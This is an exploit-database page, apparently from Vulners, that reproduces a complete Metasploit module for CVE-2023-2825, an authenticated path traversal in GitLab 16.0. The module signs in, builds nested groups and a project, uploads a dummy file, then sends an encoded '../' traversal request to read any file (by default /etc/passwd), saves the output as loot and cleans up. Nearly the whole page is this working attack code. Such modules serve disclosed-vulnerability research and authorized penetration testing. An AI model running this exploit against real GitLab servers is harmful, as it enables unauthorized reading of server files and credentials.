Lucene search
K

GitLab Authenticated File Read

🗓️ 31 Aug 2024 00:00:00Reported by h00die, Vitellozzo, pwnie, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 154 Views

GitLab Authenticated File Read vulnerability in version 16.0 allows traversal for arbitrary file read. User must authenticate, create a project and groups to exploit vulnerability. Traversal depth correlates with depth of groups. Exploitation involves uploading a dummy file and executing full traversal, followed by cleanup through deleting the created objects

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Path Traversal in Gitlab
20 Jun 202420:22
githubexploit
GithubExploit
Exploit for Path Traversal in Gitlab
30 May 202307:03
githubexploit
GithubExploit
Exploit for Path Traversal in Gitlab
25 May 202313:25
githubexploit
ATTACKERKB
CVE-2023-2825
26 May 202321:15
attackerkb
Circl
CVE-2023-2825
24 May 202319:32
circl
CNNVD
GitLab 路径遍历漏洞
24 May 202300:00
cnnvd
CNVD
GitLab CE/EE Path Traversal Vulnerability
26 May 202300:00
cnvd
CNVD
Directory Traversal Vulnerability in GitLab CE/EE
29 May 202300:00
cnvd
CVE
CVE-2023-2825
26 May 202300:00
cve
Cvelist
CVE-2023-2825
26 May 202300:00
cvelist
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::Gitlab  
include Msf::Auxiliary::Report  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'GitLab Authenticated File Read',  
'Description' => %q{  
GitLab version 16.0 contains a directory traversal for arbitrary file read  
as the `gitlab-www` user. This module requires authentication for exploitation.  
In order to use this module, a user must be able to create a project and groups.  
When exploiting this vulnerability, there is a direct correlation between the traversal  
depth, and the depth of groups the vulnerable project is in. The minimum for this seems  
to be 5, but up to 11 have also been observed. An example of this, is if the directory  
traversal needs a depth of 11, a group  
and 10 nested child groups, each a sub of the previous, will be created (adding up to 11).  
Visually this looks like:  
Group1->sub1->sub2->sub3->sub4->sub5->sub6->sub7->sub8->sub9->sub10.  
If the depth was 5, a group and 4 nested child groups would be created.  
With all these requirements satisfied a dummy file is uploaded, and the full  
traversal is then executed. Cleanup is performed by deleting the first group which  
cascades to deleting all other objects created.  
},  
'Author' => [  
'h00die', # MSF module  
'pwnie', # Discovery on HackerOne  
'Vitellozzo' # PoC on Github  
],  
'References' => [  
['URL', 'https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/'],  
['URL', 'https://github.com/Occamsec/CVE-2023-2825'],  
['URL', 'https://labs.watchtowr.com/gitlab-arbitrary-file-read-gitlab-cve-2023-2825-analysis/'],  
['CVE', '2023-2825']  
],  
'DisclosureDate' => '2023-05-23',  
'License' => MSF_LICENSE,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),  
OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),  
OptInt.new('DEPTH', [ true, 'Depth for Path Traversal (also groups creation)', 11]),  
OptString.new('FILE', [true, 'File to read', '/etc/passwd'])  
]  
)  
deregister_options('GIT_URI')  
end  
  
def get_csrf(body)  
if body.empty?  
fail_with(Failure::UnexpectedReply, "HTML response had an empty body, couldn't find CSRF, unable to continue")  
end  
  
body =~ /"csrf-token" content="([^"]+)"/  
  
if ::Regexp.last_match(1).nil?  
fail_with(Failure::UnexpectedReply, 'CSRF token not found in response, unable to continue')  
end  
::Regexp.last_match(1)  
end  
  
def check  
# check method almost entirely borrowed from gitlab_github_import_rce_cve_2022_2992  
@cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD'])  
  
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError if @cookie.nil?  
  
vprint_status('Trying to get the GitLab version')  
  
version = Rex::Version.new(gitlab_version)  
  
if version != Rex::Version.new('16.0.0')  
return CheckCode::Safe("Detected GitLab version #{version} which is not vulnerable")  
end  
  
report_vuln(  
host: rhost,  
name: name,  
refs: references,  
info: [version]  
)  
  
return Exploit::CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.")  
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError  
return Exploit::CheckCode::Detected('Could not detect the version because authentication failed.')  
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError => e  
return Exploit::CheckCode::Unknown("#{e.class} - #{e.message}")  
end  
  
def run  
if datastore['DEPTH'] < 5  
print_bad('A DEPTH of < 5 is unlikely to succeed as almost all observed installs require 5-11 depth.')  
end  
  
begin  
@cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) if @cookie.nil?  
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError  
fail_with(Failure::NoAccess, 'Unable to authenticate, check credentials')  
end  
  
fail_with(Failure::NoAccess, 'Unable to retrieve cookie') if @cookie.nil?  
  
# get our csrf token  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path)  
})  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200  
csrf_token = get_csrf(res.body)  
vprint_good("CSRF Token: #{csrf_token}")  
  
# create nested groups to the appropriate depth  
print_status("Creating #{datastore['DEPTH']} groups")  
parent_id = ''  
first_group = ''  
(1..datastore['DEPTH']).each do |_|  
name = Rex::Text.rand_text_alphanumeric(8, 10)  
if first_group.empty?  
first_group = name  
vprint_status("Creating group: #{name}")  
else  
vprint_status("Creating child group: #{name} with parent id: #{parent_id}")  
end  
# a success will give a 302 and direct us to /<group_name>  
res = send_request_cgi!({  
'uri' => normalize_uri(target_uri.path, 'groups'),  
'method' => 'POST',  
'vars_post' => {  
'group[parent_id]' => parent_id,  
'group[name]' => name,  
'group[path]' => name,  
'group[visibility_level]' => 20,  
'user[role]' => 'software_developer',  
'group[jobs_to_be_done]' => '',  
'authenticity_token' => csrf_token  
}  
})  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200  
csrf_token = get_csrf(res.body)  
vprint_good("CSRF Token: #{csrf_token}")  
  
# grab our parent group ID for nesting  
res.body =~ /data-clipboard-text="([^"]+)" type="button" title="Copy group ID"/  
parent_id = ::Regexp.last_match(1)  
fail_with(Failure::UnexpectedReply, "#{peer} - Cannot retrieve the parent ID from the HTML response") unless parent_id  
end  
  
# create a new project  
  
project_name = Rex::Text.rand_text_alphanumeric(8, 10)  
print_status("Creating project #{project_name}")  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'projects'),  
'method' => 'POST',  
'vars_post' => {  
'project[ci_cd_only]' => 'false',  
'project[name]' => project_name,  
'project[selected_namespace_id]' => parent_id,  
'project[namespace_id]' => parent_id,  
'project[path]' => project_name,  
'project[visibility_level]' => 20,  
'project[initialize_with_readme]' => 1, # The POC is missing a ] here, fingerprintable?  
'authenticity_token' => csrf_token  
}  
})  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 302  
  
project_id = URI(res.headers['Location']).path  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, project_id)  
})  
csrf_token = get_csrf(res.body)  
  
# upload a dummy file  
print_status('Creating a dummy file in project')  
file_name = Rex::Text.rand_text_alphanumeric(8, 10)  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, project_id, 'uploads'),  
'method' => 'POST',  
'headers' => {  
'X-CSRF-Token' => csrf_token,  
'Accept' => '*/*' # required or you get a 404  
},  
'vars_form_data' => [  
{  
'name' => 'file',  
'filename' => file_name,  
'data' => Rex::Text.rand_text_alphanumeric(4, 25)  
}  
]  
})  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200  
res = res.get_json_document  
file_url = res.dig('link', 'url')  
if file_url.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to determine file upload URL, possible permissions issue")  
end  
# remove our file name  
file_url = file_url.gsub("/#{file_name}", '')  
  
# finally, read our file  
print_status('Executing dir traversal')  
target_file = datastore['FILE']  
target_file = target_file.gsub('/', '%2F')  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, project_id, file_url, '..%2F' * datastore['DEPTH'] + "..#{target_file}"),  
'headers' => {  
'Accept' => '*/*' # required or you get a 404  
}  
})  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
if res.code == 500  
print_error("Unable to read file (permissions, or file doesn't exist)")  
elsif res.code != 200  
print_error("#{peer} - Unexpected response code (#{res.code})") # don't fail_with so we can cleanup  
end  
  
if res.body.empty?  
print_error('Response has 0 size.')  
elsif res.code == 200  
print_good(res.body)  
loot_path = store_loot('GitLab file', 'text/plain', datastore['RHOST'], res.body, datastore['FILE'])  
print_good("#{datastore['FILE']} saved to #{loot_path}")  
else  
print_error('Bad response, initiating cleanup')  
end  
  
# deleting the first group will delete the sub-groups and project  
print_status("Deleting group #{first_group}")  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, first_group),  
'method' => 'POST',  
'vars_post' => {  
'authenticity_token' => csrf_token,  
'_method' => 'delete'  
}  
})  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 302  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation